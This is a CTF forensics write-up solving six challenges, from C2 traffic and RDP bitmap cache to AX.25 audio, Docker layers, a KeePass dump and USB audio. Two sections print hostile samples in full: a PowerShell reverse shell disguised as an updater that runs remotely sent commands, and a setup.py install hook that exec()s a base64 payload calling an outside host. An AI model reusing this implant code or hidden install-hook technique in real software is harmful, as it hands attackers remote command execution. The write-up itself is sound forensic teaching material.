---
# System prepended metadata

title: CBD CTF 2025
tags: [ctf, wireshark, c2c]

---

# CBD CTF 2025

Here is my writeup for Cyber Breaker Development (CBD) CTF 2025 by perisai cybersecurity who held in 4 hours, this writeup focusing on Forensic challenge


| Challenge | Topic |
| -------- | ------- |
| [Stolen Data](#Stolen-Data) |C2 traffic |
| [Hidden Sight](#Hidden-Sight)| RDP Bitmap Cache|
| [Can You Hear It](#Can-You-Hear-It) | AX.25, WAV steganography|
|[Data Insights](#Data-Insights)| Docker Layer|
|[LockSpill](#LockSpill)| MiniDump Keepass process|
|[Frozen Forest 🩸](#Frozen-Forest-🩸)| Audio USB Device traffic|



# Stolen Data

## Summary

> During routine monitoring, unusual network activity was observed. A capture of the traffic was saved for analysis to determine what data may have been exfiltrated.
> **author** : bl33dz
> **file** : [network-log.pcapng](https://cbd-quals.cyberbreaker.id/files/56ecf53ddc8ce66cc6379663743b5856/network-log.pcapng?token=eyJ1c2VyX2lkIjoyMTcsInRlYW1faWQiOm51bGwsImZpbGVfaWQiOjE0fQ.aKG82w.crQN9ri0vROWmMzpLPwjX37vCwM)

given pcap file who seems it mostly TCP traffic
![image](https://hackmd.io/_uploads/HJh5DNJKle.png)

and in **TCP Stream 13 we found downloaded file updater.exe**
![image](https://hackmd.io/_uploads/SypRwV1Yee.png)

and after that in **TCP Stream 18 we found suspicios conversation between host and Source IP of updater.exe**
![image](https://hackmd.io/_uploads/rkoX_EyKge.png)

## Exploit

export updater.exe `File > Export Objects > HTTP` and we can see it has **.ps1 script**
![image](https://hackmd.io/_uploads/SJ_K_VJYge.png)

```ps
$server = "117.53.47.247"
$port = 4444
$sharedHex = "9f4c8b2e6a7f1d3b9ab2c4d5e6f70812a1b2c3d4e5f60718293a4b5c6d7e8f90"
function HexToBytes {
    param([string]$hex)
    if ($hex.Length % 2 -ne 0) { throw "Hex string length must be even" }
    $count = $hex.Length / 2
    $bytes = New-Object byte[] $count
    for ($i = 0; $i -lt $count; $i++) {
        $bytes[$i] = [Convert]::ToByte($hex.Substring($i*2,2), 16)
    }
    return $bytes
$secret = HexToBytes $sharedHex
$aesKey = $secret[0..15]
$hmacKey = $secret[16..($secret.Length - 1)]
function Encrypt-Message {
    param([string]$plaintext)
    $plainBytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $block = 16
    $pad = $block - ($plainBytes.Length % $block)
    if ($pad -eq 0) { $pad = $block }
    $padded = New-Object byte[] ($plainBytes.Length + $pad)
    [Array]::Copy($plainBytes, 0, $padded, 0, $plainBytes.Length)
    for ($i = $plainBytes.Length; $i -lt $padded.Length; $i++) { $padded[$i] = [byte]$pad }
    $iv = New-Object byte[] 16
    $rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
    $rng.GetBytes($iv)
    $rng.Dispose()
    $aes = New-Object System.Security.Cryptography.AesManaged
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::None
    $aes.Key = [byte[]]$aesKey
    $aes.IV = [byte[]]$iv
    $encryptor = $aes.CreateEncryptor()
    $ct = $encryptor.TransformFinalBlock($padded, 0, $padded.Length)
    $encryptor.Dispose()
    $aes.Dispose()
    $hmac = [System.Security.Cryptography.HMACSHA256]::new([byte[]]$hmacKey)
    $mac = $hmac.ComputeHash( ($iv + $ct) )
    $hmac.Dispose()
    $blob = ($iv + $ct + $mac)
    return [System.Convert]::ToBase64String($blob)
function Decrypt-Message {
    param([string]$b64)
    $blob = [System.Convert]::FromBase64String($b64)
    $iv = $blob[0..15]
    $tag = $blob[($blob.Length - 32)..($blob.Length - 1)]
    $ct = $blob[16..($blob.Length - 33)]
    $hmac = [System.Security.Cryptography.HMACSHA256]::new([byte[]]$hmacKey)
    $calc = $hmac.ComputeHash( ($iv + $ct) )
    $hmac.Dispose()
    if ([System.Convert]::ToBase64String($calc) -ne [System.Convert]::ToBase64String($tag)) { throw "HMAC failed" }
    $aes = New-Object System.Security.Cryptography.AesManaged
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::None
    $aes.Key = [byte[]]$aesKey
    $aes.IV = [byte[]]$iv
    $decryptor = $aes.CreateDecryptor()
    $padded = $decryptor.TransformFinalBlock($ct, 0, $ct.Length)
    $decryptor.Dispose()
    $aes.Dispose()
    $padLen = $padded[$padded.Length - 1]
    $plainLen = $padded.Length - $padLen
    if ($plainLen -le 0) { return "" }
    $plain = New-Object byte[] $plainLen
    [Array]::Copy($padded, 0, $plain, 0, $plainLen)
    return [System.Text.Encoding]::UTF8.GetString($plain)
Write-Host "Checking for updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
Write-Host "Downloading update definitions..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
Write-Host "Installing updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
try {
    $client = New-Object System.Net.Sockets.TcpClient($server, $port)
    $stream = $client.GetStream()
    $writer = New-Object System.IO.StreamWriter($stream)
    $reader = New-Object System.IO.StreamReader($stream)
    $writer.AutoFlush = $true
    while ($true) {
        $line = $reader.ReadLine()
        if ([string]::IsNullOrEmpty($line)) {
            break
        }
        try { $cmd = Decrypt-Message $line } catch { continue }
        if ($cmd -eq "exit" -or $cmd -eq "quit") { break }
        try { $out = Invoke-Expression $cmd | Out-String } catch { $out = "Error: $($_.Exception.Message)" }
        if ($out -eq "") { $out = "<no output>" }
        $enc = Encrypt-Message $out
        $writer.WriteLine($enc)
    }
    $writer.Close()
    $reader.Close()
    $client.Close()
} catch {}
Write-Host "Update failed..." -ForegroundColor Red

```

and based on this section, its confirmed its establish connection to C2 server
![image](https://hackmd.io/_uploads/rytTOEktex.png)

now we can decode the traffic using given `Decrypt-Message` function using [tio.run](https://tio.run/##HY2xCsIwFEX3fsUjS1q0YNqktY5CBUFFRAQRh9SkVghUreDweN8eU5d7znDgPvuvfQ@ddc57GOwxXR/rLcTspA8PNmF6ubGLkcK9diwBiAEun/O@vsYMS0JJmBPOCAtCQagIM2KQroAr0fIpL40K22pDAXljsirwjk2rmiCVmOemCGKkkVIXYmyd5gkkUWRvXQ//X@9/)
![image](https://hackmd.io/_uploads/HJ3IKN1Keg.png)

## Flag
`CBD{bz_c2_with_encrypted_traffic_d34da5}`

# Hidden Sight

## Summary

> Blue Team caught two suspicious files. Help blue team to find out what's actually in that file. The team said that the file related with cache
> **author** : Rin4th
> **file** : [hidden.zip](https://cbd-quals.cyberbreaker.id/files/847e13c845dd56bb36c9e10355b83259/hidden.zip?token=eyJ1c2VyX2lkIjoyMTcsInRlYW1faWQiOm51bGwsImZpbGVfaWQiOjExfQ.aKG9aQ.RdKF9FkI5Ak_F2TRwwfZmv1ZNAY)
> **password** : fd9fbac804de39ba121c41173923a86f1702f1c290294f3abc2d2544bc9d93ef

given .jpg file, check it with binwalk it has some embedded file
![image](https://hackmd.io/_uploads/B1GgcVyYeg.png)

its has `RDP8bmp` signature
![image](https://hackmd.io/_uploads/SyfV5Ektex.png)

it must be related with RDP service and we found RDP has caching mechanism using bitmap
>The RDP (Remote Desktop Protocol) bitmap cache is a feature that optimizes remote desktop connections by storing frequently used graphical elements locally on the client machine. This reduces the amount of data that needs to be transferred over the network, improving performance, especially with high latency connections. The cached images, or bitmaps, are stored in files that can be accessed and analyzed for forensic purposes

## Exploit

now we must parse it to visualize the cache, and i found this [bmc-tools](https://github.com/ANSSI-FR/bmc-tools),
```shell!
 % python3 bmc-tools.py -s ../Cache0000.bin -d ../ -b
```

and it will create many .bmp file and 1 college of all
![image](https://hackmd.io/_uploads/HyjfnVkKxe.png)


![image](https://hackmd.io/_uploads/H15SnEJKgg.png)


## Flag
`CBD{1_d0nT_wH4t_I_44mm_do1nGg_19Nik1j4}`

# Can You Hear It

## Summary

> A single burst in the noise, can you hear it?
> **author** : Cyrus
> **file** : [chall](https://cbd-quals.cyberbreaker.id/files/78e8f798a3194b4ae2dc028d77a50d1c/chall?token=eyJ1c2VyX2lkIjoyMTcsInRlYW1faWQiOm51bGwsImZpbGVfaWQiOjh9.aKG9nA.qYhNxEx7yIoUkZ_xcib-B87BnIY)

given .wav file and its only has short duration
![image](https://hackmd.io/_uploads/BJROlrytex.png)

so its must be hidden somehow

## Exploit
its related to [latlong - bsidesCTF2017](https://github.com/BSidesSF/ctf-2017-release/tree/master/forensics/latlong) who using AX.25 (data link layer protocol suite and designed for use by amateur radio operators), just extract it with available command
```shell!
% sox -t wav chall.wav -esigned-integer -b16 -r 22050 -t raw output.raw
% multimon-ng -t raw -a AFSK1200 output.raw
multimon-ng 1.1.9
  (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA
  (C) 2012-2020 by Elias Oenal
Available demodulators: POCSAG512 POCSAG1200 POCSAG2400 FLEX EAS UFSK1200 CLIPFSK FMSFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI1 ZVEI2 ZVEI3 DZVEI PZVEI EEA EIA CCIR MORSE_CW DUMPCSV X10 SCOPE
Enabled demodulators: AFSK1200
AFSK1200: fm CBDX01-0 to APRS-0 UI  pid=F0
!/4K!!NK6mO   /A=004049CBD{tr4nsm1ss10n_c4rr13r_n01se_c2m96e}
```

## Flag
`CBD{tr4nsm1ss10n_c4rr13r_n01se_c2m96e}`

# Data Insights

## Summary

> Data Insights, the company’s analytics platform, started acting strangely after a recent update. The Docker image used in the deployment was preserved for review, and the incident is under investigation.
> **author** : 
> **file** : [data-insights.7z](https://drive.google.com/file/d/1e1ZjKo89w0t2Z76yAgsYsDtCZJyQWeOa/view)
> **password** : 6ae92f3ff7a84d64a68de4c666bc6b5c1b7b759dc92b3173cbe521da98d89575

given .tar file who can be assumed as compressed docker image
![image](https://hackmd.io/_uploads/SJ6tbSyKee.png)

## Exploit
we using [dive](https://github.com/wagoodman/dive) for exploring each layer in a docker image, now lets diving

```shell!
% dive docker-archive://data-insights.tar
```
![image](https://hackmd.io/_uploads/HkYRGH1txe.png)

we can see it has many layer, but we found some interesting layer, its access to `http://files.phytonhosted.org/packages/7a/02/6086a6be8e6e3920a64` it has typo in `phyton` and we can see its already drop new file called `data-insights.tar.gz`

now we explore the suspicious layer
```shell!
% tar xvf data-insights.tar
% tar xvf blobs/sha256/8c1dc647ec301fd623986a8231f4c5bff00fa31a368654f5f824ee25828f03bb
```

extract archive in /app dir
![image](https://hackmd.io/_uploads/HytpErkFxe.png)
 
and it has suspicious code in `setup.py`
```python!
from setuptools.command.install import install 
import subprocess
import setuptools 
import base64
import json
import os 

class PyInstall(install):
    def run(self):
        config = exec(base64.b64decode("aW1wb3J0IHNvY2tldAoKcyA9IHNvY2tldC5zb2NrZXQoKQpzLmNvbm5lY3QoKCcxLjMuMy43JywgNjk2OSkpCm9wZW4oJy90bXAvZmxhZy50eHQnLCd3Jykud3JpdGUoCiAgICAnJy5qb2luKAogICAgICAgIGYie29yZChjKV5vcmQob3BlbignL2V0Yy9vcy1yZWxlYXNlJykucmVhZGxpbmUoKS5zdHJpcCgpLnNwbGl0KCc9JylbLTFdW2kgJSBsZW4ob3BlbignL2V0Yy9vcy1yZWxlYXNlJykucmVhZGxpbmUoKS5zdHJpcCgpLnNwbGl0KCc9JylbLTFdKV0pOjAyeH0iCiAgICAgICAgZm9yIGksIGMgaW4gZW51bWVyYXRlKHMucmVjdigxMDI0KS5kZWNvZGUoKSkKICAgICkKKQpzLmNsb3NlKCkK"))
        install.run(self)

setuptools.setup(
    name="data-insights",
    version="0.1.0",
    author="Bagas Mukti",
    description="A lightweight analytics and visualization library for web applications.",
    packages=setuptools.find_packages(),
    cmdclass={
        "install": PyInstall,
    },
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    project_urls={
        "Documentation": "https://github.com/bl33dz/data-insights",
        "Bug Reports":   "https://github.com/bl33dz/data-insights",
        "Source Code":   "https://github.com/bl33dz/data-insights",
    },
    python_requires=">=3.6",
)

```

decrypt suspicious base64
```shell!
% echo 'aW1wb3J0IHNvY2tldAoKcyA9IHNvY2tldC5zb2NrZXQoKQpzLmNvbm5lY3QoKCcxLjMuMy43JywgNjk2OSkpCm9wZW4oJy90bXAvZmxhZy50eHQnLCd3Jykud3JpdGUoCiAgICAnJy5qb2luKAogICAgICAgIGYie29yZChjKV5vcmQob3BlbignL2V0Yy9vcy1yZWxlYXNlJykucmVhZGxpbmUoKS5zdHJpcCgpLnNwbGl0KCc9JylbLTFdW2kgJSBsZW4ob3BlbignL2V0Yy9vcy1yZWxlYXNlJykucmVhZGxpbmUoKS5zdHJpcCgpLnNwbGl0KCc9JylbLTFdKV0pOjAyeH0iCiAgICAgICAgZm9yIGksIGMgaW4gZW51bWVyYXRlKHMucmVjdigxMDI0KS5kZWNvZGUoKSkKICAgICkKKQpzLmNsb3NlKCkK' | base64 -d
import socket

s = socket.socket()
s.connect(('1.3.3.7', 6969))
open('/tmp/flag.txt','w').write(
    ''.join(
        f"{ord(c)^ord(open('/etc/os-release').readline().strip().split('=')[-1][i % len(open('/etc/os-release').readline().strip().split('=')[-1])]):02x}"
        for i, c in enumerate(s.recv(1024).decode())
    )
)
s.close()
```

basically its a encryption for `/tmp/flag.txt` using `/etc/os-release` which one is `"Debian GNU/Linux 12 (bookworm)"`
![image](https://hackmd.io/_uploads/rkA1USkYxx.png)

## Flag
`CBD{apa_persamaan_tango_sama_docker_image?_sama_sama_berlapis_lapis_xixixi_f00c3a}`


# LockSpill

## Summary

> A sudden system crash at company left behind a password vault and a memory dump captured at the exact moment of failure.
> Rumors say the vault holds fragments of a secret project, Company denies everything, but whispers from inside suggest the truth is hidden somewhere.
> **author** : 
> **file** : [lockspill.7z](https://drive.google.com/file/d/1E9eImmoVHLJqzI0CS6Algmnx4ASqZB9b/view)
> **password** : 281c1f564590c107b96dcfdb9da7b91d053e07bfdf10890781a6401dd221b60b


given .dmp and .kdbx file, it seems is a crash dump of keepass.exe
```shell!
% file dump.dmp lock.kdbx 
dump.dmp:  Mini DuMP crash report, 17 streams, Wed Aug 13 22:18:28 2025, 0x621826 type
lock.kdbx: Keepass password database 2.x KDBX
```

## Exploit

strings dump.dmp file, and we found interesting entry
![image](https://hackmd.io/_uploads/SJakDHyYel.png)

its maybe a data from lock.kdbx, and we found interesting value
```
...
<String>
	<Key>Notes</Key>
	<Value>Part 1 58: 2PaEBnQJx9Z56XrvhRCTE1tcbSX1VCLe</Value>
</String>
...
<String>
	<Key>Notes</Key>
	<Value>Part 2 58: B3eXWB4yupKPYUde1VhvrBDsq91jRY2tt</Value>
</String>
...
```

decrypt it and now we got flag
```shell!
% echo '2PaEBnQJx9Z56XrvhRCTE1tcbSX1VCLe' | base58 -d 
CBD{wh4t_15_Th1s_V4uLt_% 
% echo 'B3eXWB4yupKPYUde1VhvrBDsq91jRY2tt' | base58 -d                       
n1j1k4a_k3ePpass_8h17d1}%   
```

## Flag
`CBD{wh4t_15_Th1s_V4uLt_n1j1k4a_k3ePpass_8h17d1}`

# Frozen Forest 🩸

## Summary

>Let your mind relax. Let your thoughts drift.
Let the bad memories fade.
Let peace be upon you. Surrender yourself to your dreams.
Let them wash over you like the gentle waves of the bluest ocean.
Let them envelop you. Comfort you.
> **author** : BbayuGt
> file : [chall.pcapng.gz](https://cbd-quals.cyberbreaker.id/files/a142cbfcd0ad1bd024b6de476480f581/chall.pcapng.gz?token=eyJ1c2VyX2lkIjoyMTcsInRlYW1faWQiOm51bGwsImZpbGVfaWQiOjl9.aKGwtw.wkupL7HiN972q2E9TC9n0Ni4zBo)

given .pcap file, and we can know is a USB traffic
![image](https://hackmd.io/_uploads/rkohxVyFxx.png)

and the transfer type is URB_ISOCHRONOUS who usually used for real-time packet like audio and video
![image](https://hackmd.io/_uploads/SJ7nZEyKge.png)

and some packet has `usb.iso.data` value who will be consider as data transferred for audio/video
![image](https://hackmd.io/_uploads/rkeNMEkKll.png)

## Exploit

extact all USB Data
```shell!
% tshark -r chall.pcapng -T fields -e usb.iso.data | tr -d '\n'  | xxd -r -p > data.raw
```

try import it to Audacity `file > import > raw data > (choose file) > detect` 
![image](https://hackmd.io/_uploads/HyicXEkFge.png)

and we got audio track
![image](https://hackmd.io/_uploads/ByPnm41Fee.png)

the first part is a song, but the second i cannot hear it properly, try reverse `Effect > Special > Reverse`

now we get more clearly voice
![image](https://hackmd.io/_uploads/rkFzVEJKxl.png)

now it depends you how you can translate it to char, because its like spelling word using Phonetic Alphabet Tables, my setting is like this

![image](https://hackmd.io/_uploads/SkLkvEyYxe.png)

## Flag
`CBD{wh4t_15_th15_4ud10??11_0a0bad2dd9219e61}`

# References
- https://medium.com/@ronald.craft/blind-forensics-with-the-rdp-bitmap-cache-16e0c202f91c
- https://github.com/ANSSI-FR/bmc-tools
- https://github.com/wagoodman/dive